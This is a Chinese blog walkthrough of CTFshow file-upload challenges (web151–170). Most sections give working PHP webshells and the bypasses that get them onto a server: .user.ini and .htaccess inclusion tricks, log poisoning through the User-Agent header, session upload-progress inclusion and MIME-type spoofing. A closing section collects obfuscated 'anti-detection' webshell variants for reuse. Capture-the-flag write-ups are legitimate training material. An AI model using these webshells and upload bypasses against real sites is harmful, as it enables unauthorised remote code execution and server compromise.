CTFshow——文件上传

前言:

1.建议先看看“前辈”的文章:Upload Attack Framework

2.博客文章:文件上传思路
贴上该文章的两张导图:
在这里插入图片描述
在这里插入图片描述






web151、152——前后端的简单检验

发现只能上传PNG文件,上传一个图片马,用Burp抓包修改文件后缀
 1.在upload/xx.php页面结合一句话木马
 2.用蚁剑、菜刀连接




web153——.user.ini配置文件

细看:.htaccess和.user.ini配置文件妙用

如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。

本题环境不是Apache,而是nginx。那么我们就可用上传.user.ini
此文件内容是auto_prepend_file = 1.png

这样就使.user.ini所在目录下的所有PHP文件都包含了1.png文件内容,那么我们在1.png中写入PHP一句话木马,不就执行了吗?

1.png的一句话木马:
<?php @eval($_POST[1]);?>

抓包上传.user.ini文件和1.png
因为知道这两个文件都在/upload目录下,目录下恰好有index.php文件,那么此文件就包含了1.png中的一句话木马。剩下的就是命令执行了…

在这里插入图片描述

扫描二维码关注公众号,回复: 12684599 查看本文章





web154、155——PHP的其他标记写法

经过捣腾发现,php字符被过滤了。可用不含php字符的php标记

四种PHP标记:

1:XML风格,也是官方推荐的形式
<?php @eval($_POST[1]);?>
	

2:短标记
<? @eval($_POST[1]);?>
需要开启配置参数short_open_tags=on
<?= @eval($_POST[1]);PHP 5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。
	

3:ASP风格
<% @eval($_POST[1]); %>
	ASP风格标记仅在通过php.ini配置文件中的指令asp_tags打开后才可用。


4:脚本风格
<script language="php">
    echo "666";
</script>
	PHP 7.0.0以后失效

上传.user.ini文件,再上传一张图片马,做法类似上题,但是一句话木马不能有php字眼





web156——{ }代替[ ]

Fuzz测试,发现[是被过滤的,但是可用{}代替[]
在这里插入图片描述
继续利用.user.ini文件
一句话木马写:<?=eval($_POST{1});





web157、158、159——各种字符过滤

在这里插入图片描述
过滤了[ { ;
想了半天怎么写一句话木马。看了师傅们的WP才发现,直接写命令。wk这惯性思维。。。
继续利用.user.ini

<? system("nl ../f* ")?><?= `nl ../f*`?>





web160——.user.ini结合日志包含

过滤了反引号,这里要再结合日志包含
包含日志利用条件:

  1. 对日志文件可读
  2. 知道日志文件存储目录
    在这里插入图片描述

1.首先上传.user.ini
2.然后上传1.png。内容是:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

3.日志包含。在UA头写一句话木马。内容是

<?php @eval($_POST[1]);?>





web161——getimagesize()检验文件幻数

详情看:文件上传漏洞之getimagesize()类型验证
同样涉及到文件内容的检验,不过这次不只是过滤字符,而是检查文件的类型——PNG类型。

PNG的文件头标记:8950 4e47 0d0a 1a0a

在这里插入图片描述


将一句话木马写入PNG文件中,然后日志文件包含
在这里插入图片描述
在这里插入图片描述





web162、163——session文件包含

.flag被过滤,注意避开这两个的使用

先上传.user.ini文件
内容是auto_prepend_file=1

在这里插入图片描述
再上传1文件,文件内容是 包含名字为flaag的session文件
<?=include"/tmp/sess_flaag"?>
在这里插入图片描述
到此为止,访问upload/index.php文件就会访问sess_flaag的内容
(当然,可以发现1这个文件只是中间桥梁,你可以直接auto_prepend_file=/tmp/sess_flaag,这样就直接包含了session文件)

然后就是构造用来产生sess_flaag文件的POST数据包:

<!DOCTYPE html>
<html>
<body>
<form action="http://474bc699-60dd-4a99-91ef-2808a96c2d4a.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包,修改或添加Cookie,同时在PHP_SESSION_UPLOAD_PROGRESS下面写入PHP代码
在这里插入图片描述
不断发送POST数据包,不断访问/upload页面
在这里插入图片描述




web166——zip文件上传

前端限制上传类型为:zip
在这里插入图片描述
自己上传了好多次zip都不成功,看师傅们的解答才发现MIME type要求如下:
Content-Type: application/x-zip-compressed
而自己的压缩包一直是:
Content-Type: application/zip
无奈,用Burp拦截数据包,修改一下MIME type 再放回来。
上传成功提示可下载,打开注意URL变化
在这里插入图片描述
然后上传一个有一句话木马的压缩包:
在这里插入图片描述
在这里插入图片描述
这里为啥直接访问upload/download.php?file=6943ab35cd43100186ebfc5f4069df58.zip就可执行一句话木马?
因为在后端的download.php代码中包含了我们上传的文件,也就当作PHP代码执行了。当然,这也是后话了…
附上download.php代码:

<?php
error_reporting(0);

$file= $_GET['file'];
if(!isset($file)){
    
    
	die('鏂囦欢涓嶅瓨鍦�');
}

if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
    
    
	die('鏂囦欢涓嶅瓨鍦�');
}

if(check($file)){
    
    
	die('鏂囦欢涓嶅瓨鍦�!');
}else{
    
    
	include($file);  //注意此处!
	header('Content-Type:application/x-zip-compressed'); 
}


function check($str){
    
    
	$ret = FALSE;
	$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
	foreach ($arrayName as $key) {
    
    
		$ret = checkPro($key,$str);
	}
	return $ret;
}

function checkPro($key,$str){
    
    
	$len = strlen($key);
	$mt = substr($str, 0,$len);
	return $len==$mt;
}





web167—— .htaccess

发现对JPG文件没有过滤,兴致冲冲照以前上传.user.ini的方法做,结果一访问/upload却找不到文件,说明原来的/upload/index.php文件没有了,但是注意页面发现服务器是Apache
在这里插入图片描述
我们可以想到.htaccess
.htaccess和.user.ini配置文件妙用
不依赖于目录下是否有php文件, 直接将某类型文件解析为php
在这里插入图片描述
然后在JPG文件中写入一句话…





web168—— 基础免杀

前端检验PNG类型,抓包后改为php类型可以上传

收集了一下师傅们的免杀写法,小弟膜拜一下

<?=`$_REQUEST[1]`;?>
利用反引号执行系统命令
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

<?php $a='syste'.'m';($a)('ls ../');
拼接
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
拼接
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
拼接
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
反转字符
<?php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{
    
    abs})($$pi{
    
    acos});
# get传参   abs=system&acos=ls
数学函数





web169、170—— .user.ini 包含日志

此题一开始看前端代码发现是检查zip文件但发现上传不上去
看了师傅们的操作才知道,后端原来检查了图片文件。这操作…
那就抓包后修改为图片的MIME type,就可以上传成功了

后端同时对文件内容进行过滤: < > ? 空格 $
既然过滤了这么多,文件内容就不写一句话木马了,结合.user.ini进行日志包含。在UA头写一句话木马

  1. 上传.user.ini,内容包含日志文件
    在这里插入图片描述
  2. 需要一个php文件,同时在UA头写一句木马
    在这里插入图片描述

访问/upload/1.php 输入命令即可

猜你喜欢

转载自blog.csdn.net/weixin_45669205/article/details/113919827